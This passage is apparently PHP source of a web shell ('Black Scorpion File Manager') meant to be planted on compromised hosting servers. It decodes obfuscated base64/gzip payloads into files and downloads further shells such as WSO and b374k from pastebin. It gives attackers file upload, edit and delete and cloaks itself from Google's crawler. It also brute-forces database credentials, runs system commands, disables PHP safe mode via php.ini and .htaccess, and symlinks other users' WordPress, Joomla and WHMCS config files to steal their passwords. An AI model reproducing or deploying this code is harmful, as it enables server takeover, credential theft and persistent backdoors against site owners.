fzKPzPLBq1A5go5vAHXd7hBM5EkrhY5SegWDBBrDCgLGddSx4Wdy5lZczLDGz+/wDOOqHYAFBYi1YwFEXhE8wlrJck3YYZcCTxrxfnMNgxFBS1T5xAA0BDA6vUVLiGjCJxfc3WlBcZC1Ww7Eb836cxyaPrNNAFP/OxE7VTPa9N4+k0K+0BMYmeaTL8p31v+ZTzFlKRiOoOLmXoFmp/kz5+kz78Ff9mv9X4HXomCDQqUP1DQrfb7o4+9s99RkhE+qGvN92/hrAVdmT/Q1YTc+B09WaYHDxpQkH1ewTTGjhIVGDNrm35TOcR9hJljmGsAzEWA+C9mVv5Z7fyvNs6/Q40gQZjmFM8eeB34S5IkXBkmLgIx0qc2DFRNHcg6YYp8d+MZtOJDxq19W/MXdL842IEsloevoMzAbdJtIiFGJTmnsl8FvgEwAea76RqbFWRpOmzUbMr6FhjvNQfnH+CM2TjUN7Q1TcTjoCAeT/Kjao8SbQ0xKAdAv00dUJ58pzDFX+2wVlmbWkDFkZWOrdO85a5xN/AJ7BqEt1V+Qsa1klL6ZpWUslbKlL75pVxpKsom/HVZtMt+SQrpe1I2EoUiYk8GA0NGzN+T8yERVi+ctyFDL0nl735JVkK2utrYgXVrmbDAQyGrJJe/x8ntgno0tJ+d/HEup6IF8TKJgsQn+euGersERoclwb8LUwGjIxdDM2/XquXw36FVbkTkqwa+QkglcFqOwqZ5xgJk/XfKoVMHYYGiWjtkKsA8Dpk+xfGH7Ez5MGgGeDN3PeshfhZlolnyKFY679ZYDB5K5VCq8EjKcFeYoweCMEmR875lUl3z3sl7l+XQ5fxhVvx8uLIfLpW+PSWR+aVE9pcSuccScmY/KZ62U2/g7IGpPozt08kmEP1wwuPlnycc7jqzjcNOYhVOSQi8OCdXOu5doDhQqQPbneXMxbFIkuy3drGvKLA1PCELu0RaSKTj8RSJXw7q747jB9uYUuEWwQFrq3xrUXFng7GhRFIsiajCveyeVQc18uWZVfGF9GsD8uVwXXyBsfEQL05GzVqvFklgzJiAbrtz7ByE658n4hUt0X9nDg/Fz2xRWeFDg9+w5zuYpGmVB+xwReIB8mCXIDPPXf3E3mdMwr+HYfEVFkaE7fKCGqqeUXaGYr4mwCKxnwmZsPEpfmhOHM/LWOClK+FmzKWO2GGWhlvO1HmUv4bt+jSR5I5/F8dmAPUYNRYu2R9u+ysTu90SCKgzh8soFHTkufthdM997kILip6+ku61ReaCbeHCItFhHOMJzhcQ/qIRW9BtJR4v8x4aB1V0RSqTmMXMJNE5ygci4+3bJBfHP3ih/0IGqnBAS0BFEYp/ilmfk8lkpSInv+1/hkGdJAz5f8TPCWny3HD8A9iL7/hFbZ/iG/W+eIjyuyCoX7w8Gmw8h1nDw3UQsCfLZ/QBYGJQjleIAWkCxxuU9UkRPEaBNQMJlgCZ1Oll78PH7kCFVwoGo9SLxzIkFGrWqme1XorAJSX6zeo5wF5tcNnrDHrVTh/uu6nA29Bf2gAFd7VR6wxSPFDn7p1l29pRLi2RxAiyHdKMdAYkn5bLZPRxlM+WiXcDp2daSpIGNZbukSLJEvyXSd2CwtTdHiGT7G8qL9jUetSH2iSMD91SA+1g/DDeQgRJ4Y+5/wU=";
2022 $lalalala = @fopen("mass.php", "w");
2023 @fwrite($lalalala, htmlspecialchars_decode(gzinflate(base64_decode($php_mass))));
2024 @fclose($lalalala);
2025 header("Location:mass.php");
2026 }
2027
2028
2029
2030 if (isset($_POST['madleets'])) {
2031 download_remote_file('http://pastebin.com/raw/M9mx5j4h', realpath("./") . '/madleets.php');
2032 header("location:madleets.php"); }
2033
2034 if (isset($_POST['rooter'])) {
2035 download_remote_file('http://pastebin.com/raw/sJxiRZAH', realpath("./") . '/rooter.php');
2036 header("location:rooter.php"); }
2037
2038 if (isset($_POST['cpc'])) {
2039 download_remote_file('http://pastebin.com/raw/d73HhXBk', realpath("./") . '/cpc.php');
2040 header("location:cpc.php"); }
2041
2042 if (isset($_POST['anonghosts'])) {
2043 download_remote_file('http://pastebin.com/raw/Cm3WsQXL', realpath("./") . '/anonghosts.php');
2044 header("location:anonghosts.php"); }
2045
2046 if (isset($_POST['blackhat'])) {
2047 download_remote_file('http://pastebin.com/raw/XFs2pPBM', realpath("./") . '/blackhat.php');
2048 header("location:blackhat.php"); }
2049
2050 if (isset($_POST['imageshell'])) {
2051 download_remote_file('http://pastebin.com/raw/eTbTMB4y', realpath("./") . '/imageshell.php');
2052 header("location:imageshell.php"); }
2053
2054 if (isset($_POST['madspot'])) {
2055 download_remote_file('http://pastebin.com/raw/mjKJRfXA', realpath("./") . '/madspot.php');
2056 header("location:madspot.php"); }
2057
2058 if (isset($_POST['pcd'])) {
2059 download_remote_file('http://pastebin.com/raw/cBiiU6MR', realpath("./") . '/pcd.php');
2060 header("location:pcd.php"); }
2061
2062 if (isset($_POST['cheta'])) {
2063 download_remote_file('http://pastebin.com/raw/H6ah5rnF', realpath("./") . '/cheta.php');
2064 header("location:cheta.php"); }
2065
2066 if (isset($_POST['zone'])) {
2067 download_remote_file('http://pastebin.com/raw/LsRHWmAD', realpath("./") . '/zone.php');
2068 header("location:zone.php"); }
2069
2070
2071 if (isset($_POST['1337worm'])) {
2072 download_remote_file('http://pastebin.com/raw/7WwNgWHh', realpath("./") . '/1337worm.php');
2073 header("location:1337worm.php"); }
2074
2075 if (isset($_POST['wso'])) {
2076 download_remote_file('https://pastebin.com/raw/BZFzbfhr', realpath("./") . '/wso.php');
2077 header("location:wso.php"); }
2078
2079
2080 if (isset($_POST['joker'])) {
2081 download_remote_file('http://pastebin.com/raw/eLT2PtZN', realpath("./") . '/joker.php');
2082 header("location:joker.php"); }
2083
2084
2085 if (isset($_POST['b374k'])) {
2086 download_remote_file('http://pastebin.com/raw/UZuF1RKJ', realpath("./") . '/b374k.php');
2087 header("location:b374k.php"); }
2088
2089
2090if(isset($_GET['mini_shell']))
2091{
2092
2093set_time_limit(0);
2094error_reporting(0);
2095
2096if(get_magic_quotes_gpc()){
2097 foreach($_POST as $key=>$value){
2098 $_POST[$key] = stripslashes($value);
2099 }
2100}
2101echo '<!DOCTYPE HTML>
2102<HTML>
2103<HEAD>
2104<link href="" rel="stylesheet" type="text/css">
2105<title>Black Scorp File Manager</title>
2106<style>
2107body{
2108 font-family: "Racing Sans One", cursive;
2109 background-color: #e6e6e6;
2110 text-shadow:0px 0px 1px #757575;
2111}
2112#content tr:hover{
2113 background-color: #636263;
2114 text-shadow:0px 0px 10px #fff;
2115}
2116#content .first{
2117 background-color: silver;
2118}
2119#content .first:hover{
2120 background-color: silver;
2121 text-shadow:0px 0px 1px #757575;
2122}
2123table{
2124 border: 1px #000000 dotted;
2125}
2126H1{
2127 font-family: "Rye", cursive;
2128}
2129a{
2130 color: #000;
2131 text-decoration: none;
2132}
2133a:hover{
2134 color: #fff;
2135 text-shadow:0px 0px 10px #ffffff;
2136}
2137input,select,textarea{
2138 border: 1px #000000 solid;
2139 -moz-border-radius: 5px;
2140 -webkit-border-radius:5px;
2141 border-radius:5px;
2142}
2143</style>
2144</HEAD>
2145<BODY>
2146<H1><center>Black Scorpion File Manager</center></H1>
2147<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
2148<tr><td>Current Path : ';
2149if(isset($_GET['mini_shell']) && ($_GET['path'])){
2150 $path = $_GET['path'];
2151}else{
2152 $path = getcwd();
2153}
2154$path = str_replace('\\','/',$path);
2155$paths = explode('/',$path);
2156
2157foreach($paths as $id=>$pat){
2158 if($pat == '' && $id == 0){
2159 $a = true;
2160 echo '<a href="?mini_shell&path=/">/</a>';
2161 continue;
2162 }
2163 if($pat == '') continue;
2164 echo '<a href="?mini_shell&path=';
2165 for($i=0;$i<=$id;$i++){
2166 echo "$paths[$i]";
2167 if($i != $id) echo "/";
2168 }
2169 echo '">'.$pat.'</a>/';
2170}
2171echo '</td></tr><tr><td>';
2172if(isset($_FILES['file'])){
2173 if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
2174 echo '<font color="green">File Upload Done.</font><br />';
2175 }else{
2176 echo '<font color="red">File Upload Error.</font><br />';
2177 }
2178}
2179echo '<form enctype="multipart/form-data" method="POST">
2180Upload File : <input type="file" name="file" />
2181<input type="submit" value="upload" />
2182</form>
2183</td></tr>';
2184 if(isset($_GET['filesrc'])){
2185 echo "<tr><td>Current File : ";
2186 echo $_GET['filesrc'];
2187 echo '</tr></td></table><br />';
2188 echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
2189}elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
2190 echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
2191 if($_POST['opt'] == 'chmod'){
2192 if(isset($_POST['perm'])){
2193 if(chmod($_POST['path'],$_POST['perm'])){
2194 echo '<font color="green">Change Permission Done.</font><br />';
2195 }else{
2196 echo '<font color="red">Change Permission Error.</font><br />';
2197 }
2198 }
2199 echo '<form method="POST">
2200 Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
2201 <input type="hidden" name="path" value="'.$_POST['path'].'">
2202 <input type="hidden" name="opt" value="chmod">
2203 <input type="submit" value="Go" />
2204 </form>';
2205 }elseif($_POST['opt'] == 'rename'){
2206 if(isset($_POST['newname'])){
2207 if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
2208 echo '<font color="green">Change Name Done.</font><br />';
2209 }else{
2210 echo '<font color="red">Change Name Error.</font><br />';
2211 }
2212 $_POST['name'] = $_POST['newname'];
2213 }
2214 echo '<form method="POST">
2215 New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
2216 <input type="hidden" name="path" value="'.$_POST['path'].'">
2217 <input type="hidden" name="opt" value="rename">
2218 <input type="submit" value="Go" />
2219 </form>';
2220 }elseif($_POST['opt'] == 'edit'){
2221 if(isset($_POST['src'])){
2222 $fp = fopen($_POST['path'],'w');
2223 if(fwrite($fp,$_POST['src'])){
2224 echo '<font color="green">Edit File Done.</font><br />';
2225 }else{
2226 echo '<font color="red">Edit File Error.</font><br />';
2227 }
2228 fclose($fp);
2229 }
2230 echo '<form method="POST">
2231 <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
2232 <input type="hidden" name="path" value="'.$_POST['path'].'">
2233 <input type="hidden" name="opt" value="edit">
2234 <input type="submit" value="Go" />
2235 </form>';
2236 }
2237 echo '</center>';
2238}else{
2239 echo '</table><br /><center>';
2240 if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
2241 if($_POST['type'] == 'dir'){
2242 if(rmdir($_POST['path'])){
2243 echo '<font color="green">Delete Dir Done.</font><br />';
2244 }else{
2245 echo '<font color="red">Delete Dir Error.</font><br />';
2246 }
2247 }elseif($_POST['type'] == 'file'){
2248 if(unlink($_POST['path'])){
2249 echo '<font color="green">Delete File Done.</font><br />';
2250 }else{
2251 echo '<font color="red">Delete File Error.</font><br />';
2252 }
2253 }
2254 }
2255 echo '</center>';
2256 $scandir = scandir($path);
2257 echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
2258 <tr class="first">
2259 <td><center>Name</center></td>
2260 <td><center>Size</center></td>
2261 <td><center>Permissions</center></td>
2262 <td><center>Options</center></td>
2263 </tr>';
2264
2265 foreach($scandir as $dir){
2266 if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
2267 echo "<tr>
2268 <td><a href=\"?mini_shell&path=$path/$dir\">$dir</a></td>
2269 <td><center>--</center></td>
2270 <td><center>";
2271 if(is_writable("$path/$dir")) echo '<font color="green">';
2272 elseif(!is_readable("$path/$dir")) echo '<font color="red">';
2273 echo permsa("$path/$dir");
2274 if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
2275
2276 echo "</center></td>
2277 <td><center><form method=\"POST\" action=\"?mini_shell&option&path=$path\">
2278 <select name=\"opt\">
2279 <option value=\"\"></option>
2280 <option value=\"delete\">Delete</option>
2281 <option value=\"chmod\">Chmod</option>
2282 <option value=\"rename\">Rename</option>
2283 </select>
2284 <input type=\"hidden\" name=\"type\" value=\"dir\">
2285 <input type=\"hidden\" name=\"name\" value=\"$dir\">
2286 <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
2287 <input type=\"submit\" value=\">\" />
2288 </form></center></td>
2289 </tr>";
2290 }
2291 echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
2292 foreach($scandir as $file){
2293 if(!is_file("$path/$file")) continue;
2294 $size = filesize("$path/$file")/1024;
2295 $size = round($size,3);
2296 if($size >= 1024){
2297 $size = round($size/1024,2).' MB';
2298 }else{
2299 $size = $size.' KB';
2300 }
2301
2302 echo "<tr>
2303 <td><a href=\"?mini_shell&filesrc=$path/$file&path=$path\">$file</a></td>
2304 <td><center>".$size."</center></td>
2305 <td><center>";
2306 if(is_writable("$path/$file")) echo '<font color="green">';
2307 elseif(!is_readable("$path/$file")) echo '<font color="red">';
2308 echo permsa("$path/$file");
2309 if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
2310 echo "</center></td>
2311 <td><center><form method=\"POST\" action=\"?mini_shell&option&path=$path\">
2312 <select name=\"opt\">
2313 <option value=\"\"></option>
2314 <option value=\"delete\">Delete</option>
2315 <option value=\"chmod\">Chmod</option>
2316 <option value=\"rename\">Rename</option>
2317 <option value=\"edit\">Edit</option>
2318 </select>
2319 <input type=\"hidden\" name=\"type\" value=\"file\">
2320 <input type=\"hidden\" name=\"name\" value=\"$file\">
2321 <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
2322 <input type=\"submit\" value=\">\" />
2323 </form></center></td>
2324 </tr>";
2325 }
2326 echo '</table>
2327 </div>';
2328}
2329echo '
2330</BODY>
2331</HTML>';
2332
2333
2334exit;
2335}
2336else if(isset($_GET['cp']))
2337{
2338
2339
2340$default_action = 'FilesMan';
2341@define('SELF_PATH', __FILE__);
2342if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
2343 header('HTTP/1.0 404 Not Found');
2344 exit;
2345}
2346@session_start();
2347@error_reporting(0);
2348@ini_set('error_log',NULL);
2349@ini_set('log_errors',0);
2350@ini_set('max_execution_time',0);
2351@set_time_limit(0);
2352@set_magic_quotes_runtime(0);
2353@define('VERSION', '2.1');
2354if( get_magic_quotes_gpc() ) {
2355 function stripslashes_array($array) {
2356 return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
2357 }
2358 $_POST = stripslashes_array($_POST);
2359}
2360
2361
2362@set_time_limit(0);
2363@error_reporting(0);
2364$login_time = 3600 * 24 * 7;
2365$hijau = array("#00FF00", "#006400", "#888888");
2366$merah = array("#FF0000", "#640000", "#888888");
2367$biru = array("#0000FF", "#000064", "#888888");
2368$kuning = array("#FFFF00", "#646400", "#888888");
2369$cyan = array("#00FFFF", "#006464", "#888888");
2370$pink = array("#FF00FF", "#640064", "#888888");
2371$theme = "hijau";
2372if(isset($_COOKIE['theme'])) $theme = $_COOKIE['theme'];
2373switch(isset($_GET['x'])){
2374case 'green':
2375if(isset($_COOKIE['theme'])) $theme = $_COOKIE['theme'];
2376$theme = "hijau";
2377setcookie("theme", $theme ,time() + $login_time);
2378break;
2379case 'red':
2380if(isset($_COOKIE['theme'])) $theme = $_COOKIE['theme'];
2381$theme = "merah";
2382setcookie("theme", $theme ,time() + $login_time);
2383break;
2384case 'blue':
2385if(isset($_COOKIE['theme'])) $theme = $_COOKIE['theme'];
2386$theme = "biru";
2387setcookie("theme", $theme ,time() + $login_time);
2388break;
2389case 'yellow':
2390if(isset($_COOKIE['theme'])) $theme = $_COOKIE['theme'];
2391$theme = "kuning";
2392setcookie("theme", $theme ,time() + $login_time);
2393break;
2394case 'cyan':
2395if(isset($_COOKIE['theme'])) $theme = $_COOKIE['theme'];
2396$theme = "cyan";
2397setcookie("theme", $theme ,time() + $login_time);
2398break;
2399case 'pink':
2400if(isset($_COOKIE['theme'])) $theme = $_COOKIE['theme'];
2401$theme = "pink";
2402setcookie("theme", $theme ,time() + $login_time);
2403break;
2404}
2405if($theme == "hijau")
2406{$color = $hijau;}
2407elseif($theme == "merah")
2408{$color = $merah;}
2409elseif($theme == "biru")
2410{$color = $biru;}
2411elseif($theme == "kuning")
2412{$color = $kuning;}
2413elseif($theme == "cyan")
2414{$color = $cyan;}
2415else
2416{$color = $pink;}
2417echo '<head>
2418<style type="text/css">
2419<!--
2420body {
2421 background-color: #000000;
2422 font-family: Verdana;
2423 font-size: 13px;
2424 color: #EB4949;
2425 margin:5px;
2426}
2427input,textarea,select{
2428color: #EB4949;
2429font-size: 13px;
2430border: 1px solid #EB4949;
2431background-color: #080808;
2432}
2433input:hover,textarea:hover,select:hover{
2434color: #EB4949;
2435font-size: 13px;
2436border: 1px solid #EB4949;
2437background-color: #080808;
2438}
2439a {
2440 background-color: #000000;
2441 vertical-align: bottom;
2442 text-decoration: none;
2443 font-size: 13px;
2444 color:#EB4949;
2445}
2446a:hover {
2447 background-color: #080808;
2448 vertical-align: bottom;
2449 text-decoration: none;
2450 font-size: 13px;
2451 color:#EB4949;
2452}
2453.label {
2454 font-size: 13px;
2455 color: #EB4949;
2456 padding:3px;
2457}
2458td {
2459border-bottom:2px solid #EB4949;
2460background:#222;
2461}
2462-->
2463</style>
2464</head>
2465';
2466if(isset($_POST['page']) == 'find')
2467{
2468if(isset($_POST['usernames']) && isset($_POST['passwords']))
2469{
2470 if($_POST['type'] == 'passwd'){
2471 $e = explode("\n",$_POST['usernames']);
2472 foreach($e as $value){
2473 $k = explode(":",$value);
2474 $username .= $k['0']." ";
2475 }
2476 }elseif($_POST['type'] == 'simple'){
2477 $username = str_replace("\n",' ',$_POST['usernames']);
2478 }
2479 $a1 = explode(" ",$username);
2480 $a2 = explode("\n",$_POST['passwords']);
2481 $id2 = count($a2);
2482 $ok = 0;
2483 foreach($a1 as $user )
2484 {
2485 if($user !== '')
2486 {
2487 $user=trim($user);
2488 for($i=0;$i<=$id2;$i++)
2489 {
2490 $pass = trim($a2[$i]);
2491 if(@mysql_connect('localhost',$user,$pass))
2492 {
2493 echo "Virus Sites ~~~ User : (<font color='#EB4949'>$user</font>) Pass : (<font color='#EB4949'>$pass</font>)<br />";
2494 $ok++;
2495 }
2496 }
2497 }
2498 }
2499 echo "<body style='background:#000000;color:#ffffff;font-size:17px;font-family:Tahoma,Verdana,Arial;'><hr noshade size=1>";
2500 echo "<center>[Done] : <font color='#EB4949'>You Found</font> $ok <font color='#EB4949'>CPanel,</font> <a href=".$_SERVER['PHP_SELF']." style='text-decoration:none;'><input type='button' value='Back !'></a></center></body>";
2501 exit;
2502}
2503}
2504if(isset($_POST['pass1']) == 'password'){
2505error_reporting(0);
2506mkdir('config',0755);
2507$cp =
2508'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';
2509$file = fopen("cp.py","w+");
2510$write = fwrite ($file , htmlspecialchars_decode(gzinflate(base64_decode($cp))));
2511fclose($file);
2512chmod("cp.py",0755);
2513$url = $_POST['url'];
2514echo"<center>
2515<textarea cols=\"90\" rows=\"20\" name=\"usernames\">";
2516system("python cp.py $url config");
2517unlink ('cp.py');
2518echo"</textarea>
2519</center>";
2520echo "<body style='background:#000000;color:#ffffff;font-size:17px;font-family:Tahoma,Verdana,Arial;'><br/><center>[Done] : <span style='color:#EB4949;'>Successfull, </span> <a href=".$_SERVER['PHP_SELF']." style='text-decoration:none;'><input type='button' value='Back !'></a></center></body>";
2521exit;
2522}
2523if(isset($_POST['matikan']) =='sekatan'){
2524@error_reporting(0);
2525$phpini =
2526'c2FmZV9tb2RlPU9GRg0KZGlzYWJsZV9mdW5jdGlvbnM9Tk9ORQ==';
2527$file = fopen("php.ini","w+");
2528$write = fwrite ($file ,base64_decode($phpini));
2529fclose($file);
2530$htaccess =
2531'T3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQ==';
2532$file = fopen(".htaccess","w+");
2533$write = fwrite ($file ,base64_decode($htaccess));
2534echo "<body style='background:#000000;color:#ffffff;font-size:17px;font-family:Tahoma,Verdana,Arial;'><br/><center>[Done] : <span style='color:".$color[0].";'>Successfull, </span> <a href=".$_SERVER['PHP_SELF']." style='text-decoration:none;'><input type='button' value='Back !'></a></center></body>";
2535exit;
2536}
2537if(isset($_POST['mendapatkan']) == 'passwd'){
2538@set_magic_quotes_runtime(0);
2539ob_start();
2540error_reporting(0);
2541@set_time_limit(0);
2542@ini_set('max_execution_time',0);
2543@ini_set('output_buffering',0);
2544$fn = $_POST['foldername'];
2545function syml($usern,$pdomain)
2546 {
2547 symlink('/home/'.$usern.'/public_html/inc/config.php',$pdomain.'~~MyBB.txt');
2548 symlink('/home/'.$usern.'/public_html/sites/default/settings.php',$pdomain.'~~Drupal.txt');
2549 symlink('/home/'.$usern.'/public_html/includes/configure.php',$pdomain.'~~Oscommerce.txt');
2550 symlink('/home/'.$usern.'/public_html/lib/config.php',$pdomain.'~~Balitbang.txt');
2551 symlink('/home/'.$usern.'/public_html/config/koneksi.php',$pdomain.'~~Lokomedia.txt');
2552 symlink('/home/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
2553 symlink('/home/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
2554 symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
2555 symlink('/home/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
2556 symlink('/home/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
2557 symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
2558 symlink('/home/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
2559 symlink('/home/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
2560 symlink('/home/'.$usern.'/public_html/wp/wp-config.php',$pdomain.'~~Wordpress3.txt');
2561 symlink('/home/'.$usern.'/public_html/home/wp-config.php',$pdomain.'~~Wordpress4.txt');
2562 symlink('/home/'.$usern.'/public_html/main/wp-config.php',$pdomain.'~~Wordpress5.txt');
2563 symlink('/home/'.$usern.'/public_html/site/wp-config.php',$pdomain.'~~Wordpress6.txt');
2564 symlink('/home/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
2565 symlink('/home/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
2566 symlink('/home/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
2567 symlink('/home/'.$usern.'/public_html/main/configuration.php',$pdomain.'~~Joomla4.txt');
2568 symlink('/home/'.$usern.'/public_html/home/configuration.php',$pdomain.'~~Joomla5.txt');
2569 symlink('/home/'.$usern.'/public_html/site/configuration.php',$pdomain.'~~Joomla6.txt');
2570 symlink('/home/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
2571 symlink('/home/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
2572 symlink('/home/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
2573 symlink('/home/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
2574 symlink('/home/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
2575 symlink('/home/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
2576 symlink('/home/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
2577 symlink('/home/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
2578 symlink('/home/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
2579 symlink('/home/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~Other1.txt');
2580 symlink('/home/'.$usern.'/public_html/admin/config.php',$pdomain.'~~Other2.txt');
2581 symlink('/home/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
2582 symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~Other3.txt');
2583 symlink('/home/'.$usern.'/public_html/connect.php',$pdomain.'~~Other4.txt');
2584 symlink('/home/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
